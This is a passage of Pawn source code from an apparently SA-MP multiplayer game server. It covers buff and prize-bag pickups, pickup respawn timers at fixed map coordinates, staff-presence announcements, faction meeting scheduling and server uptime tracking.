		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[23]);
				SetTimer("CreateBuffID23", 600000, false);
		}
		if(pickupid == BuffPickup[24])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[24]);
				SetTimer("CreateBuffID24", 600000, false);
		}
		if(pickupid == BuffPickup[25])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[25]);
				SetTimer("CreateBuffID25", 600000, false);
		}
		if(pickupid == BuffPickup[26])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[26]);
				SetTimer("CreateBuffID26", 600000, false);
		}
		if(pickupid == BuffPickup[27])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[27]);
				SetTimer("CreateBuffID27", 600000, false);
		}
		if(pickupid == BuffPickup[28])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[28]);
				SetTimer("CreateBuffID28", 600000, false);
		}
		if(pickupid == BuffPickup[29])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[29]);
				SetTimer("CreateBuffID29", 600000, false);
		}
		if(pickupid == BuffPickup[30])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[30]);
				SetTimer("CreateBuffID30", 600000, false);
		}
		if(pickupid == BuffPickup[31])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[31]);
				SetTimer("CreateBuffID31", 600000, false);
		}
		if(pickupid == BuffPickup[32])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[32]);
				SetTimer("CreateBuffID32", 600000, false);
		}
		if(pickupid == BuffPickup[33])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[33]);
				SetTimer("CreateBuffID33", 600000, false);
		}
		if(pickupid == BuffPickup[34])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[34]);
				SetTimer("CreateBuffID34", 600000, false);
		}
		if(pickupid == BuffPickup[35])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[35]);
				SetTimer("CreateBuffID35", 600000, false);
		}
		if(pickupid == BuffPickup[36])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[36]);
				SetTimer("CreateBuffID36", 600000, false);
		}
		if(pickupid == BuffPickup[37])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[37]);
				SetTimer("CreateBuffID37", 600000, false);
		}
		if(pickupid == BuffPickup[38])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[38]);
				SetTimer("CreateBuffID38", 600000, false);
		}
		if(pickupid == BuffPickup[39])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[39]);
				SetTimer("CreateBuffID39", 600000, false);
		}
		if(pickupid == BuffPickup[40])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[40]);
				SetTimer("CreateBuffID40", 600000, false);
		}
		if(pickupid == BuffPickup[41])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[41]);
				SetTimer("CreateBuffID41", 600000, false);
		}
		if(pickupid == BuffPickup[42])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[42]);
				SetTimer("CreateBuffID42", 600000, false);
		}
		if(pickupid == BuffPickup[43])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[43]);
				SetTimer("CreateBuffID43", 600000, false);
		}
		if(pickupid == BuffPickup[44])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[44]);
				SetTimer("CreateBuffID44", 600000, false);
		}
		if(pickupid == BuffPickup[45])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[45]);
				SetTimer("CreateBuffID45", 600000, false);
		}
		if(pickupid == BuffPickup[46])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[46]);
				SetTimer("CreateBuffID46", 600000, false);
		}
		if(pickupid == BuffPickup[47])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[47]);
				SetTimer("CreateBuffID47", 600000, false);
		}
		if(pickupid == BuffPickup[48])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[48]);
				SetTimer("CreateBuffID48", 600000, false);
		}
		if(pickupid == BuffPickup[49])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[49]);
				SetTimer("CreateBuffID49", 600000, false);
		}
		if(pickupid == BuffPickup[50])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[50]);
				SetTimer("CreateBuffID50", 600000, false);
		}
		if(pickupid == BuffPickup[51])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[51]);
				SetTimer("CreateBuffID51", 600000, false);
		}
		if(pickupid == BuffPickup[52])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[52]);
				SetTimer("CreateBuffID52", 600000, false);
		}
		if(pickupid == BuffPickup[53])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[53]);
				SetTimer("CreateBuffID53", 600000, false);
		}
		if(pickupid == BuffPickup[54])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[54]);
				SetTimer("CreateBuffID54", 600000, false);
		}
		if(pickupid == BuffPickup[55])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[55]);
				SetTimer("CreateBuffID55", 600000, false);
		}
		if(pickupid == BuffPickup[56])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[56]);
				SetTimer("CreateBuffID56", 600000, false);
		}
		if(pickupid == BuffPickup[57])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[57]);
				SetTimer("CreateBuffID57", 600000, false);
		}
		if(pickupid == BuffPickup[58])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[58]);
				SetTimer("CreateBuffID58", 600000, false);
		}
		if(pickupid == BuffPickup[59])
		{
		        PlayerInfo[playerid][pBuff] += 5;SaveKonVal(playerid, "pBuff", PINFO[playerid][pBuff]);SCM(playerid, COLOR_SINARANGNOT,"You got 5 buffs.");
				DestroyPickup(BuffPickup[59]);
				SetTimer("CreateBuffID59", 600000, false);
		}

	/*
	if(pickupid == AsansorB) {
	SetPlayerPos(playerid, 1273.916015,-812.265380,83.440666);
	SetPlayerFacingAngle(playerid, 180);
	}
	if(pickupid == AsansorP) {
	SetPlayerPos(playerid, 1278.712768,-826.610778,109.174423);
	SetPlayerFacingAngle(playerid, 243.85);
	}
	*/
	//if(pickupid == ChatrErfan || pickupid == Chatr2Erfan) GivePlayerKolang(playerid, 46, 5);

/*	if((pickupid == gift1 || pickupid == gift2 || pickupid == gift3 || pickupid == gift4 || pickupid == gift5 || pickupid == gift6 || pickupid == gift7 || pickupid == gift8 || pickupid == gift9) && gPlayerLogged[playerid] == 1  && PINFO[playerid][pGift] == 0) {
	ReturnMulti(playerid);
	}*/
	if(pickupid == MoneyBagPickup)
	{
	  new string[144], pname[24], money = MoneyBagCash;
	  GetPlayerName(playerid, pname, 24);
	  format(string, sizeof(string), "*** Player {ff6347}%s{F5DEB3} has found the Prize Bag and collected {ff6347}$%s{F5DEB3} at {ff6347}%s{F5DEB3} ***", pname, FormatNumber(money), MoneyBagLocation);
	  MoneyBagFound = 1;
	  SendClientMessageToAll(COLOR_SINARANG, string);
	  DestroyPickup(MoneyBagPickup);
	  //SendClientMessage(playerid, COLOR_WHITE, "Congratulations with your Prize Bag.");
	  GivePlayerPool(playerid, money);
	  LoopingAnim(playerid, "BOMBER", "BOM_Plant", 4.0, 0, 0, 0, 0, 0);
	}
	return 1;
}
stock GetDaysInMonth(month, year)
{
	switch(month)
	{
	   case 1, 3, 5, 7, 8, 10, 12: return 31;
	   case 4, 6, 9, 11: return 30;
	   case 2: return (((!(year % 4) && (year % 100) != 0)) || !(year % 400)) ? (29) : (28);
	}
	return -1;
}

stock SetVehicleSoratLimit(veh, speed)
{
	MaxSorat[veh] = speed;
	return 1;
}

function SVExitKon()
{
	mysql_close(handle);
	SendRconCommand("exit");
	return 1;
}
function CoinUpdater()
{
new Rnd = RandomShomare(1,2), RndEx = RandomShomare(1,3), Rxd;
if(Rnd==1){HandleCoins=1;}
if(Rnd==2){HandleCoins=0;}
if(RndEx==1){}// Nothing will be changed
if(RndEx==2)
{
Rxd = RandomShomare(9800,16600);
ArzesheCoin = (ArzesheCoin+Rxd);
}
if(RndEx==3)
{
Rxd = RandomShomare(11800,18600);
ArzesheCoin = (ArzesheCoin-Rxd);
}
}
function StaffChecker()
{
    new admwarn[144];
	if(AdminElamShod == 0)
	{
	if(ThereIsAnyActiveAdmin())
	{
     format(admwarn, 144, "[Admin-Warn]:{ffffff} Now server has at least one active admin");
     ABroadCast(COLOR_AdminWarn,admwarn,1);
     print("Now server has at least one active admin");
     AdminElamShod = 1;
	}
	}
	if(AdminElamShod == 1)
	{
	if(!ThereIsAnyActiveAdmin())
	{
     format(admwarn, 144, "[Admin-Warn]:{ffffff} Now server hasn't any active admin");
     ABroadCast(COLOR_AdminWarn,admwarn,1);
     print("Now server hasn't any active admin");
     AdminElamShod = 0;
	}
	}


	if(HelperElamShod == 0)
	{
	if(ThereIsAnyActiveHelper())
	{
     format(admwarn, 144, "[Admin-Warn]:{ffffff} Now server has at least one active helper");
     ABroadCast(COLOR_AdminWarn,admwarn,1);
     print("Now server has at least one active helper");
     HelperElamShod = 1;
	}
	}
	if(HelperElamShod == 1)
	{
	if(!ThereIsAnyActiveHelper())
	{
     format(admwarn, 144, "[Admin-Warn]:{ffffff} Now server hasn't any active helper");
     ABroadCast(COLOR_AdminWarn,admwarn,1);
     print("Now server hasn't any active helper");
     HelperElamShod = 0;
	}
	}




	if(LeaderElamShod == 0)
	{
	if(ThereIsAnyActiveLeader())
	{
     format(admwarn, 144, "[Admin-Warn]:{ffffff} Now server has at least one active leader");
     ABroadCast(COLOR_AdminWarn,admwarn,1);
     print("Now server has at least one active leader");
     LeaderElamShod = 1;
	}
	}
	if(LeaderElamShod == 1)
	{
	if(!ThereIsAnyActiveLeader())
	{
     format(admwarn, 144, "[Admin-Warn]:{ffffff} Now server hasn't any active leader");
     ABroadCast(COLOR_AdminWarn,admwarn,1);
     print("Now server hasn't any active leader");
     LeaderElamShod = 0;
	}
	}



	return 1;
}
function LSCoolDown()
{
KillTimer(TimerLS);
RespawnNPCLS();
BizzInfo[82][bLocked] = 0;
return 1;
}
function LVCoolDown()
{
KillTimer(TimerLV);
RespawnNPCLV();
BizzInfo[83][bLocked] = 0;
return 1;
}
function SFCoolDown()
{
KillTimer(TimerSF);
RespawnNPCSF();
BizzInfo[84][bLocked] = 0;
return 1;
}
/*
function IsAnySpacesBetweenDate(year, month, day, hour, minute, second)
{
    if(GetDaysInMonth(month, year)==30)
    {
	if(day<=27){return true;}else{return false;}
	}
	if(GetDaysInMonth(month, year)==31)
	{
	if(day<=28){return true;}else{return false;}
	}
	if(GetDaysInMonth(month, year)==29)
	{
	if(day<=26){return true;}else{return false;}
	}
    return false;
}
*/
function SaveMeets()
{
	new year,month,day,hour,minute,second,susk[144];
	gettime(hour,minute,second);
	getdate(year,month,day);
	if((hour==1||hour==3||hour==7||hour==10||hour==12||hour==15||hour==18||hour==21||hour==23)&&(minute==0)){HavaKhoriTime();}
	if(MeetInfo[18][mYear] == year && MeetInfo[18][mMonth] == month && MeetInfo[18][mDay] == day && MeetInfo[18][mHour] == hour && MeetInfo[18][mMinute] == minute && MeetInfo[18][mSecond] == second)
	{
	if(MeetInfo[18][mMeeting] != 2)
	{
	MeetInfo[18][mMeeting] = 2;
	format(susk, sizeof(susk),  " Meeting of staff started at %02d/%02d/%02d %02d:%02d:%02d", year, month, day, hour, minute, second);
	SendStaffMessage(COLOR_LIGHTRED, susk);
	}
	}
    for(new i=1;i<sizeof(MeetInfo);i++)
    {
    if(i==18)continue;
	if(MeetInfo[i][mYear] == year && MeetInfo[i][mMonth] == month && MeetInfo[i][mDay] == day && MeetInfo[i][mHour] == hour && MeetInfo[i][mMinute] == minute && MeetInfo[i][mSecond] == second)
	{
	if(MeetInfo[i][mMeeting] != 2)
	{
	MeetInfo[i][mMeeting] = 2;
	format(susk, sizeof(susk),  "[Faction]: Meeting of faction %s{33ccff} started at %02d/%02d/%02d %02d:%02d:%02d",GetFacName(i), year, month, day, hour, minute, second);
	SendFamilyMessage(i, COLOR_LIGHTBLUE, susk);
	format(susk, sizeof(susk), "{ffffff}Meeting of faction %s{FFFFFF} started",GetFacName(i));
    AdminWarn(susk);
    }
	}
	}
}
forward CreateBuffID0();
public CreateBuffID0()
	{
	    BuffPickup[0] = CreatePickup(11712, 1, 1513.1508, -1067.4583, 181.2031, -1);
	    return 1;
	}
forward CreateBuffID1();
public CreateBuffID1()
	{
	    BuffPickup[1] = CreatePickup(11712, 1, 913.7838, -1021.4692, 111.0546, -1);
	    return 1;
	}
forward CreateBuffID2();
public CreateBuffID2()
	{
	    BuffPickup[2] = CreatePickup(11712, 1, 1045.9967, -934.4882, 50.4062, -1);
	    return 1;
	}
forward CreateBuffID3();
public CreateBuffID3()
	{
	    BuffPickup[3] = CreatePickup(11712, 1, 1314.2462, -980.2194, 148.6437, -1);
	    return 1;
	}
forward CreateBuffID4();
public CreateBuffID4()
	{
	    BuffPickup[4] = CreatePickup(11712, 1, 1665.6339, -1245.6522, 233.3750, -1);
	    return 1;
	}
forward CreateBuffID5();
public CreateBuffID5()
	{
	    BuffPickup[5] = CreatePickup(11712, 1, 1671.5137, -1343.1160, 158.4765, -1);
	    return 1;
	}
forward CreateBuffID6();
public CreateBuffID6()
	{
	    BuffPickup[6] = CreatePickup(11712, 1, 1684.0212, -1401.5378, 84.6562, -1);
	    return 1;
	}
forward CreateBuffID7();
public CreateBuffID7()
	{
	    BuffPickup[7] = CreatePickup(11712, 1, 1757.3419, -1351.1390, 15.6093, -1);
	    return 1;
	}
forward CreateBuffID8();
public CreateBuffID8()
	{
	    BuffPickup[8] = CreatePickup(11712, 1, 1874.7092, -1317.9000, 49.4140, -1);
	    return 1;
	}
forward CreateBuffID9();
public CreateBuffID9()
	{
	    BuffPickup[9] = CreatePickup(11712, 1, 2025.6152, -1375.5937, 48.3390, -1);
	    return 1;
	}
forward CreateBuffID10();
public CreateBuffID10()
	{
	    BuffPickup[10] = CreatePickup(11712, 1, 2183.7478, -1602.2928, 21.2953, -1);
	    return 1;
	}
forward CreateBuffID11();
public CreateBuffID11()
	{
	    BuffPickup[11] = CreatePickup(11712, 1, 2508.8708, -1637.2268, 13.7258, -1);
	    return 1;
	}
forward CreateBuffID12();
public CreateBuffID12()
	{
	    BuffPickup[12] = CreatePickup(11712, 1, 2306.3049, -1837.0755, 0.9398, -1);
	    return 1;
	}
forward CreateBuffID13();
public CreateBuffID13()
	{
	    BuffPickup[13] = CreatePickup(11712, 1, 1980.5102, -2079.2177, 24.6187, -1);
	    return 1;
	}
forward CreateBuffID14();
public CreateBuffID14()
	{
	    BuffPickup[14] = CreatePickup(11712, 1, 1872.2205, -2249.1271, 24.7109, -1);
	    return 1;
	}
forward CreateBuffID15();
public CreateBuffID15()
	{
	    BuffPickup[15] = CreatePickup(11712, 1, 1628.5783, -2264.3449, 13.4952, -1);
	    return 1;
	}
	forward CreateBuffID16();
public CreateBuffID16()
	{
	    BuffPickup[16] = CreatePickup(11712, 1, 673.6453, -1864.4210, 5.4538, -1);
	    return 1;
	}
forward CreateBuffID17();
public CreateBuffID17()
	{
	    BuffPickup[17] = CreatePickup(11712, 1, 497.0086, -1748.6398, 25.8947, -1);
	    return 1;
	}
forward CreateBuffID18();
public CreateBuffID18()
	{
	    BuffPickup[18] = CreatePickup(11712, 1, 483.5183, -1633.3594, 58.5972, -1);
	    return 1;
	}
forward CreateBuffID19();
public CreateBuffID19()
	{
	    BuffPickup[19] = CreatePickup(11712, 1, 596.7015, -1463.3093, 80.1592, -1);
	    return 1;
	}
forward CreateBuffID20();
public CreateBuffID20()
	{
	    BuffPickup[20] = CreatePickup(11712, 1, 327.6540, -1504.8371, 76.5390, -1);
	    return 1;
	}
forward CreateBuffID21();
public CreateBuffID21()
	{
	    BuffPickup[21] = CreatePickup(11712, 1, 285.4747, -1604.4989, 114.4218, -1);
	    return 1;
	}
forward CreateBuffID22();
public CreateBuffID22()
	{
	    BuffPickup[22] = CreatePickup(11712, 1, 347.8418, -855.0186, 11.4518, -1);
	    return 1;
	}
forward CreateBuffID23();
public CreateBuffID23()
	{
	    BuffPickup[23] = CreatePickup(11712, 1, 1539.4631, -759.4826, 76.1709, -1);
	    return 1;
	}
forward CreateBuffID24();
public CreateBuffID24()
	{
	    BuffPickup[24] = CreatePickup(11712, 1, 1774.5709, -1110.3554, 84.4765, -1);
	    return 1;
	}
forward CreateBuffID25();
public CreateBuffID25()
	{
	    BuffPickup[25] = CreatePickup(11712, 1, 1743.2464, -1227.4404, 91.6406, -1);
	    return 1;
	}
forward CreateBuffID26();
public CreateBuffID26()
	{
	    BuffPickup[26] = CreatePickup(11712, 1, 1820.7470, -1433.6335, 35.9248, -1);
	    return 1;
	}
forward CreateBuffID27();
public CreateBuffID27()
	{
	    BuffPickup[27] = CreatePickup(11712, 1, 1785.5299, -1544.3620, 38.9596, -1);
	    return 1;
	}
forward CreateBuffID28();
public CreateBuffID28()
	{
	    BuffPickup[28] = CreatePickup(11712, 1, 1654.1351, -1636.1362, 83.7812, -1);
	    return 1;
	}
forward CreateBuffID29();
public CreateBuffID29()
	{
	    BuffPickup[29] = CreatePickup(11712, 1, 1776.7734, -1774.4581, 52.4703, -1);
	    return 1;
	}
forward CreateBuffID30();
public CreateBuffID30()
	{
	    BuffPickup[30] = CreatePickup(11712, 1, 1760.1022, -1920.5759, 13.5736, -1);
	    return 1;
	}
forward CreateBuffID31();
public CreateBuffID31()
	{
	    BuffPickup[31] = CreatePickup(11712, 1, 1481.7781, -1789.9696, 156.7533, -1);
	    return 1;
	}
forward CreateBuffID32();
public CreateBuffID32()
	{
	    BuffPickup[32] = CreatePickup(11712, 1, 1365.6622, -1799.2252, 36.0156, -1);
	    return 1;
	}
forward CreateBuffID33();
public CreateBuffID33()
	{
	    BuffPickup[33] = CreatePickup(11712, 1, 1138.5825, -1805.1115, 33.6312, -1);
	    return 1;
	}
forward CreateBuffID34();
public CreateBuffID34()
	{
	    BuffPickup[34] = CreatePickup(11712, 1, 875.8256, -1806.9957, 31.7968, -1);
	    return 1;
	}
forward CreateBuffID35();
public CreateBuffID35()
	{
	    BuffPickup[35] = CreatePickup(11712, 1, 574.1901, -1631.9317, 38.5546, -1);
	    return 1;
	}
forward CreateBuffID36();
public CreateBuffID36()
	{
	    BuffPickup[36] = CreatePickup(11712, 1, 572.1085, -1370.2393, 52.4375, -1);
	    return 1;
	}
forward CreateBuffID37();
public CreateBuffID37()
	{
	    BuffPickup[37] = CreatePickup(11712, 1, 599.3515, -1273.6481, 64.1875, -1);
	    return 1;
	}
forward CreateBuffID38();
public CreateBuffID38()
	{
	    BuffPickup[38] = CreatePickup(11712, 1, 396.8599, -1101.7757, 80.6096, -1);
	    return 1;
	}
forward CreateBuffID39();
public CreateBuffID39()
	{
	    BuffPickup[39] = CreatePickup(11712, 1, 1245.1984, -874.8163, 51.3520, -1);
	    return 1;
	}
forward CreateBuffID40();
public CreateBuffID40()
	{
	    BuffPickup[40] = CreatePickup(11712, 1, 1405.6967, -981.3037, 58.7818, -1);
	    return 1;
	}
forward CreateBuffID41();
public CreateBuffID41()
	{
	    BuffPickup[41] = CreatePickup(11712, 1, 1443.0876, -1128.9234, 93.2989, -1);
	    return 1;
	}
forward CreateBuffID42();
public CreateBuffID42()
	{
	    BuffPickup[42] = CreatePickup(11712, 1, 1484.2154, -1197.3699, 108.3373, -1);
	    return 1;
	}
forward CreateBuffID43();
public CreateBuffID43()
	{
	    BuffPickup[43] = CreatePickup(11712, 1, 1407.3322, -1202.5639, 187.1633, -1);
	    return 1;
	}
forward CreateBuffID44();
public CreateBuffID44()
	{
	    BuffPickup[44] = CreatePickup(11712, 1, 1310.4274, -1365.7474, 18.8657, -1);
	    return 1;
	}
forward CreateBuffID45();
public CreateBuffID45()
	{
	    BuffPickup[45] = CreatePickup(11712, 1, 1161.0905, -1325.9201, 31.4978, -1);
	    return 1;
	}
forward CreateBuffID46();
public CreateBuffID46()
	{
	    BuffPickup[46] = CreatePickup(11712, 1, 999.1311, -1194.6467, 54.9062, -1);
	    return 1;
	}
forward CreateBuffID47();
public CreateBuffID47()
	{
	    BuffPickup[47] = CreatePickup(11712, 1, 936.6913, -922.4019, 57.7672, -1);
	    return 1;
	}
forward CreateBuffID48();
public CreateBuffID48()
	{
	    BuffPickup[48] = CreatePickup(11712, 1, 1200.7655, -756.0579, 92.5647, -1);
	    return 1;
	}
forward CreateBuffID49();
public CreateBuffID49()
	{
	    BuffPickup[49] = CreatePickup(11712, 1, 1438.7747, -751.2602, 85.0379, -1);
	    return 1;
	}
forward CreateBuffID50();
public CreateBuffID50()
	{
	    BuffPickup[50] = CreatePickup(11712, 1, 2247.7663, -1111.6844, 48.7500, -1);
	    return 1;
	}
forward CreateBuffID51();
public CreateBuffID51()
	{
	    BuffPickup[51] = CreatePickup(11712, 1, 2683.2050, -1123.8355, 78.9453, -1);
	    return 1;
	}
forward CreateBuffID52();
public CreateBuffID52()
	{
	    BuffPickup[52] = CreatePickup(11712, 1, 2758.9528, -1333.2358, 71.5703, -1);
	    return 1;
	}
forward CreateBuffID53();
public CreateBuffID53()
	{
	    BuffPickup[53] = CreatePickup(11712, 1, 2843.4785, -1409.5178, 45.2145, -1);
	    return 1;
	}
forward CreateBuffID54();
public CreateBuffID54()
	{
	    BuffPickup[54] = CreatePickup(11712, 1, 2491.5620, -2120.9814, 27.2580, -1);
	    return 1;
	}
forward CreateBuffID55();
public CreateBuffID55()
	{
	    BuffPickup[55] = CreatePickup(11712, 1, 2737.9272, -1760.7717, 44.2989, -1);
	    return 1;
	}
forward CreateBuffID56();
public CreateBuffID56()
	{
	    BuffPickup[56] = CreatePickup(11712, 1, 2032.0513, -2034.1634, 35.0157, -1);
	    return 1;
	}
forward CreateBuffID57();
public CreateBuffID57()
	{
	    BuffPickup[57] = CreatePickup(11712, 1, 1875.0207, -1955.8177, 20.0703, -1);
	    return 1;
	}
forward CreateBuffID58();
public CreateBuffID58()
	{
	    BuffPickup[58] = CreatePickup(11712, 1, 1817.0740, -1999.0130, 18.8867, -1);
	    return 1;
	}
forward CreateBuffID59();
public CreateBuffID59()
	{
	    BuffPickup[59] = CreatePickup(11712, 1, 1736.7170, -2024.8231, 20.5925, -1);
	    return 1;
	}
function FinishCountDown(){if(countdown!=0){countdown=0;}}
function StopTheEvent()
{
KillTimer(EventStopper);
StopEvent(9999, "Time limit reached", true);
}
function svuptime()
{
	if(svsec >= 60)
	{
	svsec = 0;
	svmin++;
	}
	if(svmin >= 60)
	{
	svmin = 0;
	svhour++;
	}
	if(svhour == 24)
	{
	svhour = 0;
	svday++;
	}
	svsec++;
	return 1;
}
/*function SVStart()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 14 Sec]");
	SetTimer("SVStart2", 1000, 0);
	return 1;
}
function SVStart2()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 13 Sec]");
	SetTimer("SVStart3", 1000, 0);
	return 1;
}
function SVStart3()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 12 Sec]");
	SetTimer("SVStart4", 1000, 0);
	return 1;
}
function SVStart4()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 11 Sec]");
	SetTimer("SVStart5", 1000, 0);
	return 1;
}
function SVStart5()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 10 Sec]");
	SetTimer("SVStart6", 1000, 0);
	return 1;
}
function SVStart6()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 9 Sec]");
	SetTimer("SVStart7", 1000, 0);
	return 1;
}
function SVStart7()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 8 Sec]");
	SetTimer("SVStart8", 1000, 0);
	return 1;
}
function SVStart8()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 7 Sec]");
	SetTimer("SVStart9", 1000, 0);
	return 1;
}
function SVStart9()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 6 Sec]");
	SetTimer("SVStart10", 1000, 0);
	return 1;
}
function SVStart10()
{
